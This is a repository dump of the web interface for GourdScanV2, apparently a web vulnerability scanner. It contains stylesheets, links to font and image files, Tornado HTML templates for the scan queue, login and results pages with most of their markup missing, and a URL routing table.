2 | * Font Awesome 4.5.0 by @davegandy - http://fontawesome.io - @fontawesome
3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
4 | */
5 |
6 | @import "variables";
7 | @import "mixins";
8 | @import "path";
9 | @import "core";
10 | @import "larger";
11 | @import "fixed-width";
12 | @import "list";
13 | @import "bordered-pulled";
14 | @import "animated";
15 | @import "rotated-flipped";
16 | @import "stacked";
17 | @import "icons";
18 |
--------------------------------------------------------------------------------
/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.eot
--------------------------------------------------------------------------------
/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.ttf
--------------------------------------------------------------------------------
/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.woff
--------------------------------------------------------------------------------
/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.woff2
--------------------------------------------------------------------------------
/web/static/less/icons/themify-icons/fonts/themify.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/themify-icons/fonts/themify.eot
--------------------------------------------------------------------------------
/web/static/less/icons/themify-icons/fonts/themify.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/themify-icons/fonts/themify.ttf
--------------------------------------------------------------------------------
/web/static/less/icons/themify-icons/fonts/themify.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/themify-icons/fonts/themify.woff
--------------------------------------------------------------------------------
/web/static/less/responsive.less:
--------------------------------------------------------------------------------
1 |
2 | @import "variables.less";
3 | @import "elements.less";
4 |
5 |
6 | /*
7 | Template Name: Adminto Dashboard
8 | Author: CoderThemes
9 | Email: coderthemes@gmail.com
10 | File: Responsive
11 | */
12 |
13 | @media only screen and (max-width: 6000px) and (min-width: 700px) {
14 | .wrapper.right-bar-enabled {
15 | .right-bar {
16 | right: 0;
17 | z-index: 99;
18 | }
19 | }
20 | }
21 |
22 | @media (max-width: 1023px) {
23 | .button-menu-mobile {
24 | display: block !important;
25 | }
26 | }
27 |
28 | @media (min-width: 768px) and (max-width: 991px) {
29 | body {
30 | overflow-x: hidden;
31 | }
32 | }
33 |
34 | @media (max-width: 767px) {
35 | body {
36 | overflow-x: hidden;
37 | }
38 | .enlarged {
39 | .left.side-menu {
40 | margin-left: -75px;
41 | }
42 | }
43 | .topbar-left {
44 | width: 70px !important;
45 | }
46 | .content-page .content {
47 | margin-top: 95px;
48 | }
49 | .topbar .topbar-left {
50 | height: 75px;
51 | }
52 |
53 | .navbar-default {
54 | background-color: @white;
55 | box-shadow: 0 0px 24px 0 rgba(0, 0, 0, 0.06), 0 1px 0px 0 rgba(0, 0, 0, 0.02);
56 | }
57 | .navbar-nav {
58 | margin: 0px;
59 | display: inline-block;
60 |
61 | li {
62 | display: inline-block;
63 | line-height: 1px;
64 | }
65 | }
66 | .navbar-nav.navbar-right {
67 | float: right;
68 | }
69 | .notification-box {
70 | display: inline;
71 |
72 | ul {
73 | li{
74 | a{
75 | line-height: 46px;
76 | }
77 | }
78 | }
79 |
80 | .pulse {
81 | top: 5px;
82 | }
83 | .dot {
84 | top: -7px;
85 | left: -3px;
86 | }
87 | }
88 | #topnav .navbar-toggle {
89 | margin-right: 5px;
90 | }
91 | .navbar-nav {
92 | .open {
93 | .dropdown-menu {
94 | background-color: @white;
95 | box-shadow: 0 2px 5px 0 rgba(0, 0, 0, .26);
96 | left: auto;
97 | position: absolute;
98 | right: 0;
99 |
100 | li{
101 | display: block;
102 | }
103 | }
104 | }
105 | }
106 | .content-page {
107 | margin-left: 0px !important;
108 | }
109 | .footer {
110 | left: 0px !important;
111 | }
112 |
113 | .mobile-sidebar {
114 | left: 0px;
115 | }
116 |
117 | .mobile-content {
118 | left: 250px;
119 | right: -250px;
120 | }
121 |
122 | .wrapper-page {
123 | width: 90%;
124 | }
125 |
126 | .dataTables_wrapper {
127 | .col-xs-6 {
128 | width: 100%;
129 | text-align: left;
130 | }
131 | }
132 |
133 | div#datatable-buttons_info {
134 | float: none;
135 | }
136 | }
137 |
138 | @media (max-width: 480px) {
139 | .side-menu {
140 | z-index: 10 !important;
141 | }
142 |
143 | .button-menu-mobile {
144 | display: block;
145 | }
146 |
147 | .search-bar {
148 | display: none !important;
149 | }
150 | }
151 |
152 | @media (max-width: 420px) {
153 | .hide-phone {
154 | display: none !important;
155 | }
156 | }
157 |
158 | /* Container-alt */
159 | @media (min-width: 768px) {
160 | .container-alt {
161 | width: 750px;
162 | }
163 |
164 | .nav-tabs.nav-justified > li > a {
165 | border-bottom: 2px solid @light;
166 | }
167 | }
168 |
169 | @media (min-width: 992px) {
170 | .container-alt {
171 | width: 970px;
172 | }
173 | }
174 |
175 | @media (min-width: 1200px) {
176 | .container-alt {
177 | width: 1170px;
178 | }
179 | }
180 | @media (max-width: 419px) {
181 | .topbar-left {
182 | width: 70px !important;
183 | }
184 | .content-page {
185 | margin-left: 70px;
186 | }
187 | .forced {
188 | .side-menu.left {
189 | box-shadow: 0 12px 12px rgba(0, 0, 0, 0.1);
190 | position: absolute;
191 | }
192 | }
193 | .enlarged {
194 | .side-menu.left {
195 | box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1) !important;
196 | }
197 | }
198 |
199 | .profile-info-name img {
200 | float: none;
201 | margin: 0px auto;
202 | margin-bottom: 20px;
203 | }
204 | div.hopscotch-bubble .hopscotch-bubble-container {
205 | max-width: 180px;
206 | }
207 | }
208 |
209 |
--------------------------------------------------------------------------------
/web/static/less/variables.less:
--------------------------------------------------------------------------------
1 |
2 |
3 | @custom: #71b6f9;
4 |
5 |
6 | // Color variables
7 |
8 | @white: #ffffff;
9 |
10 | @default: #dae6ec;
11 | @primary: #188ae2;
12 | @success: #10c469;
13 | @info: #35b8e0;
14 | @warning: #f9c851;
15 | @danger: #ff5b5b;
16 | @purple: #5b69bc;
17 | @pink: #ff8acc;
18 | @inverse: #3b3e47;
19 | @muted: #98a6ad;
20 | @light: #eeeeee;
21 | @dark: #435966;
22 | @lightdark3: #333333;
23 | @lightdark4: #444444;
24 | @lightdark5: #555555;
25 | @lightdark7: #797979;
26 | @light5: #ebeff2;
27 | @light3: #f3f3f3;
28 | @light9: #f9f9f9;
29 | @light-alt: #fafafa;
30 | @lightdark-alt: #cccccc;
31 | @lightdark: #f4f8fb;
32 | @lightgray: #7a8c9a;
33 |
34 |
35 | // Width variables
36 | @width: 100%;
37 |
38 | // Height variables
39 | @height: 100%;
40 |
41 | //Font variables
42 | @font-primary: 'Roboto', sans-serif;
43 | @font-secondary: 'Karla', sans-serif;
44 |
--------------------------------------------------------------------------------
/web/static/plugin/morris/morris.css:
--------------------------------------------------------------------------------
1 | .morris-hover{position:absolute;z-index:1000}.morris-hover.morris-default-style{border-radius:10px;padding:6px;color:#666;background:rgba(255,255,255,0.8);border:solid 2px rgba(230,230,230,0.8);font-family:sans-serif;font-size:12px;text-align:center}.morris-hover.morris-default-style .morris-hover-row-label{font-weight:bold;margin:0.25em 0}
2 | .morris-hover.morris-default-style .morris-hover-point{white-space:nowrap;margin:0.1em 0}
3 |
--------------------------------------------------------------------------------
/web/static/plugin/multiselect/css/multi-select.css:
--------------------------------------------------------------------------------
1 | .ms-container{
2 | background: transparent url('../img/switch.png') no-repeat 50% 50%;
3 | width: 545px;
4 | }
5 |
6 | .ms-container:after{
7 | content: ".";
8 | display: block;
9 | height: 0;
10 | line-height: 0;
11 | font-size: 0;
12 | clear: both;
13 | min-height: 0;
14 | visibility: hidden;
15 | }
16 |
17 | .ms-container .ms-selectable, .ms-container .ms-selection{
18 | background: #FFF;
19 | color: #333;
20 | float: left;
21 | width: 45%;
22 | }
23 | .ms-container .ms-selection{
24 | float: right;
25 | }
26 |
27 | .ms-container .ms-list{
28 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
29 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
30 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
31 | -webkit-transition: border linear 0.2s, box-shadow linear 0.2s;
32 | -moz-transition: border linear 0.2s, box-shadow linear 0.2s;
33 | -ms-transition: border linear 0.2s, box-shadow linear 0.2s;
34 | -o-transition: border linear 0.2s, box-shadow linear 0.2s;
35 | transition: border linear 0.2s, box-shadow linear 0.2s;
36 | border: 1px solid black;
37 | -webkit-border-radius: 3px;
38 | -moz-border-radius: 3px;
39 | border-radius: 3px;
40 | position: relative;
41 | height: 200px;
42 | padding: 0;
43 | overflow-y: auto;
44 | }
45 |
46 | .ms-container .ms-list.ms-focus{
47 | border-color: rgba(82, 168, 236, 0.8);
48 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
49 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
50 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
51 | outline: 0;
52 | outline: thin dotted \9;
53 | }
54 |
55 | .ms-container ul{
56 | margin: 0;
57 | list-style-type: none;
58 | padding: 0;
59 | }
60 |
61 | .ms-container .ms-optgroup-container{
62 | width: 100%;
63 | }
64 |
65 | .ms-container .ms-optgroup-label{
66 | margin: 0;
67 | padding: 5px 0px 0px 5px;
68 | cursor: pointer;
69 | color: #333;
70 | }
71 |
72 | .ms-container .ms-selectable li.ms-elem-selectable,
73 | .ms-container .ms-selection li.ms-elem-selection{
74 | border-bottom: 1px #eee solid;
75 | padding: 2px 10px;
76 | color: #333;
77 | font-size: 14px;
78 | }
79 |
80 | .ms-container .ms-selectable li.ms-hover,
81 | .ms-container .ms-selection li.ms-hover{
82 | cursor: pointer;
83 | color: #333;
84 | text-decoration: none;
85 | background-color: #08c;
86 | }
87 |
88 | .ms-container .ms-selectable li.disabled,
89 | .ms-container .ms-selection li.disabled{
90 | background-color: #eee;
91 | color: #333;
92 | cursor: text;
93 | }
94 |
--------------------------------------------------------------------------------
/web/static/plugin/multiselect/img/switch.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/plugin/multiselect/img/switch.png
--------------------------------------------------------------------------------
/web/static/plugin/switchery/switchery.min.css:
--------------------------------------------------------------------------------
1 | .switchery{background-color:#fff;border:1px solid #dfdfdf;border-radius:20px;cursor:pointer;display:inline-block;height:30px;position:relative;vertical-align:middle;width:50px;-moz-user-select:none;-khtml-user-select:none;-webkit-user-select:none;-ms-user-select:none;user-select:none;box-sizing:content-box;background-clip:content-box}.switchery>small{background:#fff;border-radius:100%;box-shadow:0 1px 3px rgba(0,0,0,0.4);height:30px;position:absolute;top:0;width:30px}.switchery-small{border-radius:20px;height:20px;width:33px}.switchery-small>small{height:20px;width:20px}.switchery-large{border-radius:40px;height:40px;width:66px}.switchery-large>small{height:40px;width:40px}
--------------------------------------------------------------------------------
/web/static/plugin/tip-darkgray/tip-darkgray.css:
--------------------------------------------------------------------------------
1 | .tip-darkgray {
2 | opacity:0.95;
3 | z-index:1000;
4 | text-align:left;
5 | text-shadow:#444 0 1px 1px;
6 | border:1px solid #888;
7 | padding:8px;
8 | min-width:50px;
9 | max-width:530px;
10 | color:#fff;
11 | background-color:#999;
12 | background-image:url(tip-darkgray.png); /* bgImageFrameSize >= 11 should work fine */
13 | /**
14 | * - If you set a background-image, border/padding/background-color will be ingnored.
15 | * You can set any padding to .tip-inner instead if you need.
16 | * - If you want a tiled background-image and border/padding for the tip,
17 | * set the background-image to .tip-inner instead.
18 | */
19 | }
20 | .tip-darkgray .tip-inner {
21 | font:bold 12px/18px arial,helvetica,sans-serif;
22 | margin-top:-1px;
23 | padding:0 4px 3px 4px;
24 | }
25 |
26 | /* Configure an arrow image - the script will automatically position it on the correct side of the tip */
27 | .tip-darkgray .tip-arrow-top {
28 | margin-top:-7px;
29 | margin-left:15px;
30 | top:0;
31 | left:0;
32 | width:16px;
33 | height:10px;
34 | background:url(tip-darkgray_arrows.png) no-repeat;
35 | }
36 | .tip-darkgray .tip-arrow-right {
37 | margin-top:-9px; /* approx. half the height to center it */
38 | margin-left:-7px;
39 | top:50%;
40 | left:100%;
41 | width:11px;
42 | height:21px;
43 | background:url(tip-darkgray_arrows.png) no-repeat -22px 0;
44 | }
45 | .tip-darkgray .tip-arrow-bottom {
46 | margin-top:-7px;
47 | margin-left:15px;
48 | top:100%;
49 | left:0;
50 | width:22px;
51 | height:13px;
52 | background:url(tip-darkgray_arrows.png) no-repeat -44px 0;
53 | }
54 | .tip-darkgray .tip-arrow-left {
55 | margin-top:-9px; /* approx. half the height to center it */
56 | margin-left:-6px;
57 | top:50%;
58 | left:0;
59 | width:11px;
60 | height:21px;
61 | background:url(tip-darkgray_arrows.png) no-repeat -66px 0;
62 | }
--------------------------------------------------------------------------------
/web/static/plugin/tip-darkgray/tip-darkgray.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/plugin/tip-darkgray/tip-darkgray.png
--------------------------------------------------------------------------------
/web/static/plugin/tip-darkgray/tip-darkgray_arrows.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/plugin/tip-darkgray/tip-darkgray_arrows.png
--------------------------------------------------------------------------------
/web/static/plugin/tip-twitter/tip-twitter.css:
--------------------------------------------------------------------------------
1 | .tip-twitter {
2 | opacity:0.8;
3 | z-index:1000;
4 | text-align:left;
5 | border-radius:4px;
6 | -moz-border-radius:4px;
7 | -webkit-border-radius:4px;
8 | padding:8px 8px;
9 | max-width:200px;
10 | color:#fff;
11 | background-color:#000;
12 | /**
13 | * - If you set a background-image, border/padding/background-color will be ingnored.
14 | * You can set any padding to .tip-inner instead if you need.
15 | * - If you want a tiled background-image and border/padding for the tip,
16 | * set the background-image to .tip-inner instead.
17 | */
18 | }
19 | .tip-twitter .tip-inner {
20 | font:bold 11px/14px 'Lucida Grande',sans-serif;
21 | }
22 |
23 | /* Configure an arrow image - the script will automatically position it on the correct side of the tip */
24 | .tip-twitter .tip-arrow-top {
25 | margin-top:-5px;
26 | margin-left:-5px; /* approx. half the width to center it */
27 | top:0;
28 | left:50%;
29 | width:9px;
30 | height:5px;
31 | background:url(tip-twitter_arrows.gif) no-repeat;
32 | }
33 | .tip-twitter .tip-arrow-right {
34 | margin-top:-4px; /* approx. half the height to center it */
35 | margin-left:0;
36 | top:50%;
37 | left:100%;
38 | width:5px;
39 | height:9px;
40 | background:url(tip-twitter_arrows.gif) no-repeat -9px 0;
41 | }
42 | .tip-twitter .tip-arrow-bottom {
43 | margin-top:0;
44 | margin-left:-5px; /* approx. half the width to center it */
45 | top:100%;
46 | left:50%;
47 | width:9px;
48 | height:5px;
49 | background:url(tip-twitter_arrows.gif) no-repeat -18px 0;
50 | }
51 | .tip-twitter .tip-arrow-left {
52 | margin-top:-4px; /* approx. half the height to center it */
53 | margin-left:-5px;
54 | top:50%;
55 | left:0;
56 | width:5px;
57 | height:9px;
58 | background:url(tip-twitter_arrows.gif) no-repeat -27px 0;
59 | }
--------------------------------------------------------------------------------
/web/static/plugin/tip-twitter/tip-twitter_arrows.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/plugin/tip-twitter/tip-twitter_arrows.gif
--------------------------------------------------------------------------------
/web/templates/302.html:
--------------------------------------------------------------------------------
1 |
2 |
6 |
--------------------------------------------------------------------------------
/web/templates/404.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | Gourdscan
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
404
39 |
Page not Found
40 |
41 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/web/templates/index.html:
--------------------------------------------------------------------------------
1 | {% extends "layout.html" %}
2 |
3 | {% block content %}
4 |
5 |
6 |
7 |
8 |
9 |
10 |
Waiting: {{waiting_num}} reqs
11 | {% for item in waiting %}
12 |
13 | {% end %}
14 |
15 |
16 |
17 |
18 |
19 |
Running: {{running_num}} reqs
20 | {% for item in running %}
21 |
22 | {% end %}
23 |
24 |
25 |
26 |
27 |
28 |
Finished: {{finished_num}} reqs
29 | {% for item in finished %}
30 |
31 | {% end %}
32 |
33 |
34 |
35 |
36 |
37 |
Vulnerable: {{vulnerable_num}} reqs
38 | {% for item in vulnerable %}
39 |
40 | {% end %}
41 |
42 |
43 |
44 |
45 |
46 |
47 | {% end %}
--------------------------------------------------------------------------------
/web/templates/layout.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Gourdscan
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
23 |
24 |
25 |
26 |
27 |
77 |
78 |
79 |
80 | {% block content %}
81 | {% end %}
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
--------------------------------------------------------------------------------
/web/templates/list.html:
--------------------------------------------------------------------------------
1 | {% extends "layout.html" %}
2 |
3 | {% block content %}
4 |
5 |
6 |
7 |
8 |
9 |
20 |
21 |
22 |
{{list_type}}: {{length}} Reqs
23 |
37 |
38 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | {% end %}
56 |
--------------------------------------------------------------------------------
/web/templates/login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Gourdscan
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
32 |
33 |
34 |
Login
35 |
36 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
--------------------------------------------------------------------------------
/web/templates/proxy.html:
--------------------------------------------------------------------------------
1 | {% extends "layout.html" %}
2 |
3 | {% block content %}
4 |
5 |
6 |
7 |
8 |
9 |
{{proxy_type}} Config:
10 |
20 |
21 | {% if stat == "True" %}
22 |
23 | {% else %}
24 |
25 | {% end %}
26 |
27 |
28 |
29 |
30 |
31 | {% end %}
32 |
--------------------------------------------------------------------------------
/web/templates/req.html:
--------------------------------------------------------------------------------
1 | {% extends "layout.html" %}
2 |
3 | {% block content %}
4 |
5 |
6 |
7 |
16 | {% if results != "" %}
17 | {% for item in results.keys() %}
18 |
19 |
20 |
{{item}} Scan Results
21 | {% for result in results[item]['message'] %}
22 |
23 | {% for payload in result.split("|#|") %}
24 | {{payload}}
25 | {% end %}
26 |
27 | {% end %}
28 |
29 |
30 | {% end %}
31 | {% end %}
32 |
33 |
34 |
Request Packet
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 | {% end %}
44 |
--------------------------------------------------------------------------------
/web/urls.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #coding: utf-8
3 | import handlers.main
4 | import tornado.web
5 |
6 | url_patterns = [
7 | (r"^/$", handlers.main.IndexHandler),
8 | (r"^/login", handlers.main.LoginHandler),
9 | (r"^/logout", handlers.main.LogoutHandler),
10 | (r"^/index", handlers.main.IndexHandler),
11 | (r"^/config", handlers.main.ConfHandler),
12 | (r"^/proxy", handlers.main.ProxyHandler),
13 | (r"^/scan_config", handlers.main.ScanConfigHandler),
14 | (r"^/scan_stat", handlers.main.ScanStatHandler),
15 | (r"^/req", handlers.main.ReqHandler),
16 | (r"^/list", handlers.main.ListHandler),
17 | (r"^/del", handlers.main.DelHandler),
18 | (r"^/reset_scan", handlers.main.ResetScanHandler),
19 | (r"^/.*", handlers.main.PageNotFoundHandler),
20 | ]
21 |
22 |
23 |
--------------------------------------------------------------------------------